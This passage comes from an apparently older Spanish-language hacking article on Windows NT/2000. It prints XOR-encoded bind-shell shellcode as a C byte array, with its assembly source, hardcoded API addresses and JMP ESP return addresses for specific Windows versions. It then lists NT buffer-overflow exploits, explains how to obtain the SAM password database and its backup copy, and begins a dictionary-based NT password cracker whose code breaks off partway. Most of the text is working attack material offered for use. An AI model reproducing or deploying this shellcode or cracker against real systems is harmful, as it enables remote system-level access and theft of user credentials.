
E:\>c:

c:

C:\>

***************************************************************************/

#ifndef WINSHELLCODE_H

#define WINSHELLCODE_H

const unsigned long OfsShellCodeLoadLib = 0x436;

const unsigned long OfsShellCodeGetProc = 0x43a;

const unsigned long OfsShellCodeShell = 0x442;

const unsigned long JMPESP_Win2k2195 = 0x77e6898b;

const unsigned long JMPESP_WinNTsp6 = 0x77f0eac3;

const unsigned long LoadLib_Win2k2195 = 0x77e67273;

const unsigned long GetProc_Win2k2195 = 0x77e67031;

const unsigned long LoadLib_WinNTsp6 = 0x77ee391a;

const unsigned long GetProc_WinNTsp6 = 0x77ee4111;

unsigned char shellcode[]=

{

0x8b, 0xfc, 0xb8, 0x73, 0x75, 0x6e, 0x78, 0x47, 0x39, 0x07,

0x75, 0xfb, 0x8d, 0x6f, 0xfd, 0x8d, 0x7d, 0x26, 0x90, 0x90,

0x90, 0x8b, 0xf7, 0xb4, 0x99, 0xfc, 0xac, 0x32, 0xc4, 0xaa,

0x81, 0x3e, 0x73, 0x75, 0x6e, 0x78, 0x75, 0xf4, 0x14, 0x24,

0xdb, 0x9d, 0x99, 0x99, 0x65, 0xaa, 0x50, 0x28, 0xb9, 0x29,

0xbd, 0x6b, 0x37, 0x5f, 0xde, 0x66, 0x99, 0x71, 0x4c, 0x9b,

0x99, 0x99, 0x71, 0x41, 0x98, 0x99, 0x99, 0x10, 0x1c, 0xb3,

0x9d, 0x99, 0x99, 0x71, 0x44, 0x98, 0x99, 0x99, 0x71, 0xcb,

0x9b, 0x99, 0x99, 0x10, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0x71,

0x9d, 0x98, 0x99, 0x99, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99,

0x71, 0x88, 0x9b, 0x99, 0x99, 0x10, 0x1c, 0xab, 0x9d, 0x99,

0x99, 0x71, 0x9b, 0x99, 0x99, 0x99, 0x72, 0x71, 0x12, 0x1c,

0x8f, 0x9d, 0x99, 0x99, 0x71, 0x28, 0x99, 0x99, 0x99, 0x1a,

0x61, 0x99, 0xed, 0xc0, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x59,

0xc9, 0x14, 0x1c, 0xbf, 0x9d, 0x99, 0x99, 0xc9, 0xaa, 0x59,

0x2d, 0x9d, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9,

0x12, 0x1c, 0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x55,

0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xed, 0xe4, 0x09, 0x09,

0x09, 0x09, 0xaa, 0x59, 0xc9, 0x12, 0x1c, 0xbf, 0x9d, 0x99,

0x99, 0xc9, 0x12, 0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12,

0x1c, 0xab, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0x93, 0x9d,

0x99, 0x99, 0x1a, 0x61, 0x99, 0xe5, 0xcf, 0x09, 0x09, 0x09,

0x09, 0x72, 0x0e, 0xaa, 0x59, 0xc9, 0x2d, 0x9d, 0xc9, 0x12,

0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xab, 0x9d,

0x99, 0x99, 0xc9, 0x66, 0x0c, 0x96, 0x9d, 0x99, 0x99, 0x1a,

0x61, 0x99, 0xe5, 0xa8, 0x09, 0x09, 0x09, 0x09, 0xaa, 0x42,

0xca, 0x14, 0x04, 0xbf, 0x9d, 0x99, 0x99, 0xca, 0xc9, 0x12,

0x1c, 0xb3, 0x9d, 0x99, 0x99, 0xc9, 0x12, 0x1c, 0xbb, 0x9d,

0x99, 0x99, 0xc9, 0x66, 0x0c, 0x5b, 0x9a, 0x99, 0x99, 0x1a,

0x61, 0x99, 0xed, 0x90, 0x09, 0x09, 0x09, 0x09, 0x70, 0xde,

0x66, 0x66, 0x66, 0xaa, 0x59, 0x5a, 0xaa, 0x42, 0xca, 0x14,

0x04, 0xc7, 0x98, 0x99, 0x99, 0xca, 0xaa, 0x42, 0xca, 0xca,

0xca, 0xc9, 0x66, 0x0c, 0x31, 0x9a, 0x99, 0x99, 0x1a, 0x61,

0x99, 0xed, 0x92, 0x09, 0x09, 0x09, 0x09, 0x12, 0x1c, 0xc7,

0x98, 0x99, 0x99, 0x5a, 0x21, 0x99, 0x99, 0x99, 0x99, 0x5a,

0x99, 0x99, 0x99, 0x99, 0x14, 0x1c, 0x52, 0x98, 0x99, 0x99,

0x5e, 0x99, 0xdd, 0x99, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xe4,

0x9a, 0x99, 0x99, 0x12, 0x1c, 0x83, 0x9d, 0x99, 0x99, 0x10,

0x1c, 0x92, 0x9b, 0x99, 0x99, 0x10, 0x1c, 0x9e, 0x9b, 0x99,

0x99, 0x12, 0x1c, 0x87, 0x9d, 0x99, 0x99, 0x10, 0x1c, 0x9a,

0x9b, 0x99, 0x99, 0xaa, 0x59, 0xff, 0x21, 0x98, 0x98, 0x10,

0x1c, 0x6e, 0x98, 0x99, 0x99, 0x14, 0x1c, 0x52, 0x98, 0x99,

0x99, 0xc9, 0xc9, 0xaa, 0x59, 0xc9, 0xc9, 0xc9, 0xd9, 0xc9,

0xd1, 0xc9, 0xc9, 0x14, 0x1c, 0xdb, 0x9d, 0x99, 0x99, 0xc9,

0xaa, 0x59, 0xc9, 0x66, 0x0c, 0x14, 0x9a, 0x99, 0x99, 0x1a,

0x61, 0x99, 0x96, 0x1d, 0xdb, 0x98, 0x99, 0x99, 0x5a, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0xaa,

0x59, 0x2d, 0x9d, 0xc9, 0x58, 0x71, 0x9d, 0xc9, 0x66, 0x0c,

0x2f, 0x9a, 0x99, 0x99, 0x5a, 0xaa, 0x59, 0xc9, 0x14, 0x1c,

0xf7, 0x9b, 0x99, 0x99, 0x5e, 0x99, 0x95, 0x99, 0x99, 0x99,

0xc9, 0x14, 0x1c, 0x83, 0x9d, 0x99, 0x99, 0xc9, 0x14, 0x1c,

0x8f, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99,

0x99, 0xaa, 0x59, 0xc9, 0x14, 0x1c, 0xf7, 0x9b, 0x99, 0x99,

0xc9, 0x14, 0x1c, 0xbb, 0x9d, 0x99, 0x99, 0xc9, 0x14, 0x1c,

0x87, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x0c, 0xeb, 0x9a, 0x99,

0x99, 0x5a, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x98, 0x99, 0x99, 0x99, 0xc9, 0x14, 0x04, 0x38, 0x9b, 0x99,

0x99, 0x5e, 0x9a, 0x89, 0x99, 0x99, 0x99, 0xca, 0x14, 0x04,

0x65, 0x9b, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x0c, 0x9a, 0x9d,

0x99, 0x99, 0x12, 0x41, 0x1a, 0x61, 0x99, 0xc1, 0xe5, 0x45,

0x12, 0x5a, 0x5a, 0x89, 0x99, 0x99, 0x99, 0xaa, 0x59, 0xc9,

0xd9, 0xc9, 0xd9, 0xc9, 0x66, 0x0c, 0x69, 0x9a, 0x99, 0x99,

0x1a, 0x61, 0x66, 0xed, 0xdb, 0x09, 0x09, 0x09, 0x09, 0x10,

0x1c, 0xb7, 0x9d, 0x99, 0x99, 0xf3, 0x89, 0x14, 0x04, 0x65,

0x9b, 0x99, 0x99, 0xca, 0xc9, 0x66, 0x0c, 0x6e, 0x9a, 0x99,

0x99, 0x1a, 0x61, 0x99, 0xec, 0xba, 0x09, 0x09, 0x09, 0x09,

0xf3, 0x9c, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99, 0xc9, 0x66,

0x0c, 0x65, 0x9a, 0x99, 0x99, 0x1a, 0x61, 0x99, 0xec, 0x92,

0x09, 0x09, 0x09, 0x09, 0x12, 0x1c, 0xb7, 0x9d, 0x99, 0x99,

0x5a, 0xaa, 0x59, 0x5a, 0x9b, 0x99, 0x99, 0xfa, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x66, 0x0c, 0x42, 0x9a, 0x99, 0x99, 0x5a, 0x14, 0x24, 0xf0,

0x9a, 0x99, 0x99, 0x12, 0x5e, 0xce, 0x71, 0xb6, 0x99, 0x99,

0x99, 0xc6, 0xc9, 0xab, 0x59, 0xaa, 0x50, 0x6e, 0x48, 0x65,

0x6b, 0x37, 0xc1, 0x19, 0xa6, 0x99, 0xed, 0x8e, 0x09, 0x09,

0x09, 0x09, 0xc9, 0xce, 0x12, 0x46, 0x71, 0x84, 0x99, 0x99,

0x99, 0xc6, 0x10, 0x9e, 0xc1, 0xde, 0xde, 0xde, 0xde, 0x72,

0x40, 0xde, 0x19, 0xa6, 0x99, 0xec, 0x53, 0x5a, 0xca, 0x14,

0x04, 0xaf, 0x9d, 0x99, 0x99, 0xc9, 0x66, 0x8a, 0xc2, 0x5a,

0xce, 0x14, 0x24, 0xa3, 0x9d, 0x99, 0x99, 0xca, 0xc9, 0x66,

0x8e, 0xc6, 0x5a, 0xd2, 0xdc, 0xcb, 0xd7, 0xdc, 0xd5, 0xaa,

0xab, 0x99, 0xda, 0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xf0,

0xe9, 0xfc, 0x99, 0xde, 0xfc, 0xed, 0xca, 0xed, 0xf8, 0xeb,

0xed, 0xec, 0xe9, 0xd0, 0xf7, 0xff, 0xf6, 0xd8, 0x99, 0xda,

0xeb, 0xfc, 0xf8, 0xed, 0xfc, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc,

0xea, 0xea, 0xd8, 0x99, 0xda, 0xf5, 0xf6, 0xea, 0xfc, 0xd1,

0xf8, 0xf7, 0xfd, 0xf5, 0xfc, 0x99, 0xc9, 0xfc, 0xfc, 0xf2,

0xd7, 0xf8, 0xf4, 0xfc, 0xfd, 0xc9, 0xf0, 0xe9, 0xfc, 0x99,

0xde, 0xf5, 0xf6, 0xfb, 0xf8, 0xf5, 0xd8, 0xf5, 0xf5, 0xf6,

0xfa, 0x99, 0xce, 0xeb, 0xf0, 0xed, 0xfc, 0xdf, 0xf0, 0xf5,

0xfc, 0x99, 0xcb, 0xfc, 0xf8, 0xfd, 0xdf, 0xf0, 0xf5, 0xfc,

0x99, 0xca, 0xf5, 0xfc, 0xfc, 0xe9, 0x99, 0xdc, 0xe1, 0xf0,

0xed, 0xc9, 0xeb, 0xf6, 0xfa, 0xfc, 0xea, 0xea, 0x99, 0x99,

0xce, 0xca, 0xd6, 0xda, 0xd2, 0xaa, 0xab, 0x99, 0xea, 0xf6,

0xfa, 0xf2, 0xfc, 0xed, 0x99, 0xfb, 0xf0, 0xf7, 0xfd, 0x99,

0xf5, 0xf0, 0xea, 0xed, 0xfc, 0xf7, 0x99, 0xf8, 0xfa, 0xfa,

0xfc, 0xe9, 0xed, 0x99, 0xea, 0xfc, 0xf7, 0xfd, 0x99, 0xeb,

0xfc, 0xfa, 0xef, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99, 0x99,

0xea, 0xeb, 0x7f, 0xee, //address of loadlibrarya, it is os

//version depended

0xa8, 0xe9, 0x7f, 0xee, //address of getprocaddress, it is os

//version depended

0x73, 0x75, 0x6e, 0x78, //sunx, it is a decode flag, don't

//modify it

0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x24, //cmd.exe$,

0x00 // you can modify it freely,

};

/***************************************************************************

;***************************************************************************

; Written by sunx

;***************************************************************************

.486

.modEl flat

locals

.code

shellcodebegin:

mov edi, esp

mov eax, 'xnus'

findnext: inc edi

cmp [edi], eax

jnz findnext

lea ebp, [edi + offset shellcodebegin - offset findnext + 4 ]

lea edi, [ebp + offset main - offset shellcodebegin]

mov esi, edi

mov ah, 99h

cld

xorloop:

lodsb

xor al, ah

stosb

cmp dword ptr [esi], 'xnus'

jnz xorloop

main: lea edi, [ebp + offset cmd - offset shellcodebegin]

cld

xor ecx, ecx

mov cl, 32

mov al, '$'

repnz scasb

mov byte ptr [edi-1], 0

call processapi

call initpbuf

mov [ebp + offset pbuf - offset shellcodebegin], eax

call initpipe

call initsock

mov [ebp + offset accepthand - offset shellcodebegin], eax

call initshell

runloop:

mov eax, [ebp + offset accepthand - offset shellcodebegin]

call getaconnect

mov [ebp + offset sockhand - offset shellcodebegin], eax

call runshell

jmp runloop

;***********************;*****************************;*********************

runshell proc

@@peek: mov eax, [ebp + offset pipeAread - offset shellcodebegin]

call peekdata

cmp eax, 0

jz @@readinput

;readfile()

xor eax, eax

push eax

lea eax, [ebp + offset i - offset shellcodebegin]

push eax

xor eax, eax

mov ah, 4

push eax

mov eax, [ebp + offset pbuf - offset shellcodebegin]

push eax

mov eax, [ebp + offset pipeAread - offset shellcodebegin]

push eax

call [ebp + offset readfile - offset shellcodebegin]

cmp eax, 0

jz @@exit

;send()

xor eax, eax

push eax

mov eax, [ebp + offset i - offset shellcodebegin]

push eax

mov eax, [ebp + offset pbuf - offset shellcodebegin]

push eax

mov eax, [ebp + offset sockhand - offset shellcodebegin]

push eax

call [ebp + offset send - offset shellcodebegin]

;call [ebp + offset wsagetlasterror - offset shellcodebegin]

cmp eax, 0

jl @@exit

jmp @@peek

@@readinput:

xor eax, eax

push eax

mov ah, 4

push eax

mov eax, [ebp + offset pbuf - offset shellcodebegin]

push eax

mov eax, [ebp + offset sockhand - offset shellcodebegin]

push eax

call [ebp + offset recv - offset shellcodebegin]

cmp eax, 0

jl @@exit

xor ebx, ebx

push ebx

lea ebx, [ebp + offset i - offset shellcodebegin]

push ebx

push eax

mov eax, [ebp + offset pbuf - offset shellcodebegin]

push eax

mov eax, [ebp + offset pipeBwrite - offset shellcodebegin]

push eax

call [ebp + offset writefile - offset shellcodebegin]

cmp eax, 0

jz @@exit

jmp @@peek

 

@@exit: xor eax, eax

ret

runshell endp

;***************************************************************************

peekdata proc ;call with eax = pipehand, return eax = bytes should be read

xor ebx, ebx

push ebx

lea ebx, [ebp + offset peeki - offset shellcodebegin]

push ebx

xor ebx, ebx

push ebx

push ebx

push ebx

push eax

call [ebp + offset peeknamedpipe - offset shellcodebegin]

cmp eax, 0

jz @@error

mov eax, [ebp + offset peeki - offset shellcodebegin]

ret

@@error: mov eax, 0

ret

peeki dd 0

peekdata endp

;***************************************************************************

initshell proc

lea eax, [ebp + offset StartupInfo - offset shellcodebegin]

mov dword ptr [eax], 044h

push eax

call [ebp + offset getstartupinfo - offset shellcodebegin]

;build startinfo

mov eax, [ebp + offset pipeAwrite - offset shellcodebegin]

mov [ebp + offset StartupInfo - offset shellcodebegin + 40h], eax

mov [ebp + offset StartupInfo - offset shellcodebegin + 3ch], eax

mov eax, [ebp + offset pipeBread - offset shellcodebegin]

mov [ebp + offset StartupInfo - offset shellcodebegin + 38h], eax

xor eax, eax

mov ax, 0101h

mov [ebp + offset StartupInfo - offset shellcodebegin +2Ch], eax

lea eax, [ebp + offset StartupInfo - offset shellcodebegin]

push eax

push eax

xor eax, eax

push eax

push eax

push eax

inc eax

push eax

dec eax

push eax

push eax

lea eax, [ebp + offset cmd - offset shellcodebegin]

push eax

xor eax, eax

push eax

call [ebp + offset createprocess - offset shellcodebegin]

cmp eax, 0

jz exitshell

ret

StartupInfo db 50h dup(0)

initshell endp

;***************************************************************************

initpbuf proc ;return eax = buf

xor eax, eax

mov ah, 4

push eax

shr eax, 4

push eax

call [ebp + offset globalalloc - offset shellcodebegin]

ret

initpbuf endp

;***************************************************************************

initpipe proc

xor eax, eax

push eax

lea eax, [ebp + offset pipeattr - offset shellcodebegin]

mov dword ptr [eax], 0ch

push eax

lea eax, [ebp + offset pipeAwrite - offset shellcodebegin]

push eax

lea eax, [ebp + offset pipeAread - offset shellcodebegin]

push eax

call [ebp + offset createpipe - offset shellcodebegin]

xor eax, eax

push eax

lea eax, [ebp + offset pipeattr - offset shellcodebegin]

push eax

lea eax, [ebp + offset pipeBwrite - offset shellcodebegin]

push eax

lea eax, [ebp + offset pipeBread - offset shellcodebegin]

push eax

call [ebp + offset createpipe - offset shellcodebegin]

ret

pipeattr label

len dd 0

lpSecDesc dd 0

bInherit dd 1

initpipe endp

;***************************************************************************

 

getaconnect proc ;return eax = sock, call with eax = sock

 

@@next: push eax

lea ebx, [ebp + offset @@accepti - offset shellcodebegin]

mov dword ptr [ebx], 16

push ebx

lea ebx, [ebp + offset sockstruc - offset shellcodebegin]

push ebx

push eax

call [ebp + offset accept - offset shellcodebegin]

mov ebx, eax

cmp eax, 0

pop eax

jl @@next

mov eax, ebx

ret

@@accepti dd 16

getaconnect endp

;***************************************************************************

initsock proc ; return eax = sock

 

;socket()

xor eax, eax

push eax

inc eax

push eax

inc eax

push eax

call [ebp + offset socket - offset shellcodebegin]

cmp eax , 0ffffffffh

jz @@exit

mov [ebp + offset accepthand - offset shellcodebegin], eax

;bind()

push 10h

lea ebx, [ebp + offset sockstruc - offset shellcodebegin]

push ebx

push eax

call [ebp + offset bind - offset shellcodebegin]

cmp eax , 0

jnz @@exit

 

;listen()

push 5

mov eax, [ebp + offset accepthand - offset shellcodebegin]

push eax

call [ebp + offset listen - offset shellcodebegin]

cmp eax , 0

jnz @@exit

mov eax, [ebp + offset accepthand - offset shellcodebegin]

ret

@@exit: xor eax, eax

ret

sockstruc label

sin_family dw 0002h

sin_port dw 6300h

sin_addr dd 0

sin_zero db 8 dup (0)

initsock endp

;********+******************************************************************

exitshell proc

call [ebp + offset exitprocess - offset shellcodebegin]

ret

exitshell endp

;***************************************************************************

processapi proc

;kenEl api

lea edi, [ebp + offset library - offset shellcodebegin]

@@loadlib:

mov eax, edi

push edi

call loadlib

pop edi

@@nextknlapi:

push eax

xor al, al

xor ecx, ecx

not ecx

cld

repnz scasb

pop eax

cmp byte ptr [edi], 0

jz @@nextlib

 

push eax

push edi

mov ebx, edi

call getproc

pop edi

mov [edi], eax

pop eax

inc edi

inc edi

inc edi

inc edi

jmp @@nextknlapi

@@nextlib: inc edi

cmp byte ptr [edi], 0

jnz @@loadlib

@@ret:

ret

processapi endp

;***************************************************************************

loadlib proc ;eax=libraryname

push ebx

lea ebx, [ebp + offset LoadLibrary - offset shellcodebegin]

push eax

call dword ptr [ebx]

pop ebx

ret

loadlib endp

;***************************************************************************

getproc proc ;eax=handle, ebx = procname

push edi

lea edi, [ebp + offset GetProcAddr - offset shellcodebegin]

push ebx

push eax

call dword ptr [edi]

pop edi

ret

getproc endp

;***************************************************************************

databegin label

library label

kernEl db "KERNEL32", 0

createpipe db "CreatePipe", 0

getstartupinfo db "GetStartupInfoA", 0

createprocess db "CreateProcessA", 0

closehandle db "CloseHandle", 0

peeknamedpipe db "PeekNamedPipe", 0

globalalloc db "GlobalAlloc", 0

writefile db "WriteFile", 0

readfile db "ReadFile", 0

sleep db "Sleep", 0

exitprocess db "ExitProcess", 0

db 0

wsock32 db "WSOCK32", 0

socket db "socket", 0

bind db "bind", 0

listen db "listen", 0

accept db "accept", 0

send db "send", 0

recv db "recv", 0

;wsagetlasterror db "WSAGetLastError", 0

db 0

db 0

pipeAread dd 0

pipeAwrite dd 0

pipeBread dd 0

pipeBwrite dd 0

i dd 0

pbuf dd 0

accepthand dd 0

sockhand dd 0

LoadLibrary dd 77e67273h

GetProcAddr dd 77e67031h

dd 'xnus'

cmd db "cmd.exe$"

db 0dh, 0ah

dataend label

.data

ends

end shellcodebegin

***************************************************************************/

#endif //WINSHELLCODE_H

<-->

--- Finaliza codigo de shellcode ---

Pues ahi estan... es posible que para cuando se publique este articulo ya

hayan salido mas, pero por lo pronto aqui teneis esto.

 

 

[ 8.2 - BOFS ]

------------

A continuacion incluyo la url de todos los desbordamientos de buffer en

NT publicados hasta ahora:

 

o Programa afectado: IIS

Autor: eEye (BOF descubierto por dark spyrit)

Efectos: Concede una shell de comandos NT con privilegios de sistema.

URL: http://www.eeye.com

o Programa afectado: Net Meeting versiones anteriores a la 3.0

Autor: The cult of the dead cow (cDc)

Efectos: Baja unos graficos de la pagina de cDc.

URL: http://www.cultdeadcow.com/cDc_files/cDc-351

o Programa afectado: NT RAS

Autor: Mnemonix

Efectos: A los 8 segundos de ser ejecutado mas o menos te abre una shell

de comandos de NT con privilegios de sistema.

URL: http://www.infowar.co.uk/mnemonix/ntbufferoverruns.htm

o Programa afectado: Winhlp32

Autor: Mnemonix

Efectos: Ejecuta un archivo batch con privilegios de sistema.

URL: http://www.infowar.co.uk/mnemonix/ntbufferoverruns.htm

 

Esto es todo sobre los overflows bajo W2K/WNT.

 

 

-=-

 

 

[ 9 - Sam ]

---------

El fichero SAM, es la base de datos de cuentas de seguridad local. Es

El equivalente el archivo passwd en u*x. Se usa para verificar la

autenticidad de los inicios de sesion de los usuario en el sistema. Dicho

archivo se encuentra en %systemroot%\system32\config\sam. Ahi esta el

fichero sam original, y el que usa NT. Como es un archivo que NT esta usando

indefinidamente... no lo podremos copiar, ni editar, ni renombrar, ni hacer

nada. En cambio hay una copia de seguridad del fichero SAM que se encuentra

en %systemroot%\repair\sam.

Profundicemos un poco mas en este archivo.

 

 

[ 9.1 - Analisis de las SAM ]

---------------------------

Lo que dije antes de que el fichero SAM contiene las encriptados no es

cierto. En su lugar, contiene una funcion hash unidireccional del password

dEl usuario. Una funcion hash unidireccional lo que hace es procesar la

entrada del usuario y reducirla a un valor unico. En NT, se reduce la

entrada a texto Unicode, y despues le aplica el algoritmo MD4 para convertir

la contrase~a en un valor hash unidireccional.

En El proceso de autentificacion se hace esto mismo, y se compara el

resultado con el valor en la SAM. Si son iguales, el usuario se logea en el

sistema.

Este metodo de almacenamiento de contrase~as asegura que nunca viajaran

contrase~as por la red que no esten codificadas.

 

 

[ 9.2 - Crackeandolas ]

---------------------

Para poder descodificar los valores hash del archivo SAM, se debe de

tener la implementacion MD4, y los nombres de usuario... o algun crackeador

de contrase~as de NT.

Podria ahora recomendar el uso de l0pht Crack y acabar esta seccion, sin

embargo antes quisiera insertaros el codigo fuente de otro crackeador, puede

que no tan bueno como el de l0pht tal como aparece aqui, pero con unos

retoques que se le diera se mejoraria mucho... ademas es Freeware. Que mas

quereis?.

El codigo esta en C++, para correr bajo NT. Para compilarlo necesitareis

los ficheros md4.c, md4.h y byteorder.h, los cuales los podreis encontrar en

El codigo de Samba. De md4.c deberas borrar 3 lineas, el ifdef SMB_PASSWD,

y sus correspondientes else y endif.

El codigo esta sacado de la Phrack 50, articulo 8, llamado "Cracking NT

Passwords", por Nihil.

Espero que disfruteis con el.

-- Comienza el codigo --

<++>xploits/ntcrack.c

/*

* (C) Nihil 1997. All rights reserved. A Guild Production.

*

* This program is free for commercial and non-commercial use.

*

* Redistribution and use in source and binary forms, with or without

* modification, are permitted.

*

* THIS SOFTWARE IS PROVIDED BY NIHIL ``AS IS'' AND

* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE

* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE

* ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE

* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL

* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS

* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)

* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT

* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY

* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF

* SUCH DAMAGE.

*

*/

/* Samba is covered by the GNU GENERAL PUBLIC LICENSE Version 2, June 1991 */

 

/* dictionary based NT password cracker. This is a temporary

* solution until I get some time to do something more

* intelligent. The input to this program is the output of

* Jeremy Allison's PWDUMP.EXE which reads the NT and LANMAN

* OWF passwords out of the NT registry and a crack style

* dictionary file. The output of PWDUMP looks

* a bit like UNIX passwd files with colon delimited fields.

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <ctype.h>

/* Samba headers we use */

#include "byteorder.h"

#include "md4.h"

#define TRUE 1

#define FALSE 0

#define HASHSIZE 16

/* though the NT password can be up to 128 characters in theory,

* the GUI limits the password to 14 characters. The only way

* to set it beyond that is programmatically, and then it won't

* work at the console! So, I am limiting it to the first 14

* characters, but you can change it to up to 128 by modifying

* MAX_PASSWORD_LENGTH

*/

#define MAX_PASSWORD_LENGTH 14

/* defines for Samba code */

#define uchar unsigned char

#define int16 unsigned short

#define uint16 unsigned short

#define uint32 unsigned int

/* the user's info we are trying to crack */

typedef struct _USER_INFO

{

char* username;

unsigned long ntpassword[4];

}USER_INFO, *PUSER_INFO;

/* our counted unicode string */

typedef struct _UNICODE_STRING

{

int16* buffer;

unsigned long length;

}UNICODE_STRING, *PUNICODE_STRING;

/* from Samba source cut & pasted here */

static int _my_mbstowcs(int16*, uchar*, int);

static int _my_wcslen(int16*);

/* forward declarations */

void Cleanup(void);

int ParsePWEntry(char*, PUSER_INFO);

/* global variable definition, only reason is so we can register an

* atexit() fuction to zero these for paranoid reasons

*/

char pPWEntry[258];

char pDictEntry[129]; /* a 128 char password? yeah, in my wet dreams */

MDstruct MDContext; /* MD4 context structure */

 

int main(int argc,char *argv[])

{

FILE *hToCrack, *hDictionary;

PUSER_INFO pUserInfo;

PUNICODE_STRING pUnicodeDictEntry;

int i;

unsigned int uiLength;

/* register exit cleanup function */

atexit(Cleanup);

/* must have both arguments */

if (argc != 3)

{

printf("\nUsage: %s <password file> <dictionary file>\n", argv[0]);

exit(0);

}

/* open password file */

hToCrack = fopen(argv[1], "r");

if (hToCrack == NULL)

{

fprintf(stderr,"Unable to open password file\n");

exit(-1);

}

 

/* open dictionary file */

hDictionary = fopen(argv[2], "r");

if (hDictionary == NULL)

{

fprintf(stderr,"Unable to open dictionary file\n");

exit(-1);

}

/* allocate space for our user info structure */

pUserInfo = (PUSER_INFO)malloc(sizeof (USER_INFO));

if (pUserInfo == NULL)

{

fprintf(stderr,"Unable to allocate memory for user info structure\n");

exit(-1);

}

/* allocate space for unicode version of the dictionary string */

pUnicodeDictEntry = (PUNICODE_STRING)malloc(sizeof (UNICODE_STRING));

if (pUnicodeDictEntry == NULL)

{

fprintf(stderr,"Unable to allocate memory for unicode conversion\n");

free(pUserInfo);

exit(-1);

}

/* output a banner so the user knows we are running */

printf("\nCrack4NT is running...\n");

/* as long as there are entries in the password file read

* them in and crack away */

while (fgets(pPWEntry, sizeof (pPWEntry), hToCrack))

{

/* parse out the fields and fill our user structure */

if (ParsePWEntry(pPWEntry, pUserInfo) == FALSE)

{

continue;

}

/* reset file pointer to the beginning of the dictionary file */

if (fseek(hDictionary, 0, SEEK_SET))

{

fprintf(stderr,"Unable to reset file pointer in dictionary\n");

memset(pUserInfo->ntpassword, 0, HASHSIZE);

free(pUserInfo);

free(pUnicodeDictEntry);

exit(-1);

}

 

/* do while we have new dictionary entries */

while (fgets(pDictEntry, sizeof (pDictEntry), hDictionary))

{

/* doh...fgets is grabbing the fucking newline, how stupid */

if (pDictEntry[(strlen(pDictEntry) - 1)] == '\n')

{

pDictEntry[(strlen(pDictEntry) - 1)] = '\0';

}

/* the following code is basically Jeremy Allison's code written

* for the Samba project to generate the NT OWF password. For

* those of you who have accused Samba of being a hacker's

* paradise, get a fucking clue. There are parts of NT security

* that are so lame that just seeing them implemented in code

* is enough to break right through them. That is all that

* Samba has done for the hacking community.

*/

/* Password cannot be longer than MAX_PASSWORD_LENGTH characters */

uiLength = strlen((char *)pDictEntry);

if(uiLength > MAX_PASSWORD_LENGTH)

uiLength = MAX_PASSWORD_LENGTH;

/* allocate space for unicode conversion */

pUnicodeDictEntry->length = (uiLength + 1) * sizeof(int16);

/* allocate space for it */

pUnicodeDictEntry->buffer = (int16*)malloc(pUnicodeDictEntry->length);

if (pUnicodeDictEntry->buffer == NULL)

{

fprintf(stderr,"Unable to allocate space for unicode string\n");

exit(-1);

}

 

/* Password must be converted to NT unicode */

_my_mbstowcs( pUnicodeDictEntry->buffer, pDictEntry, uiLength);

/* Ensure string is null terminated */

pUnicodeDictEntry->buffer[uiLength] = 0;

 

/* Calculate length in bytes */

uiLength = _my_wcslen(pUnicodeDictEntry->buffer) * sizeof(int16);

 

MDbegin(&MDContext);

for(i = 0; i + 64 <= (signed)uiLength; i += 64)

MDupdate(&MDContext,pUnicodeDictEntry->buffer + (i/2), 512);

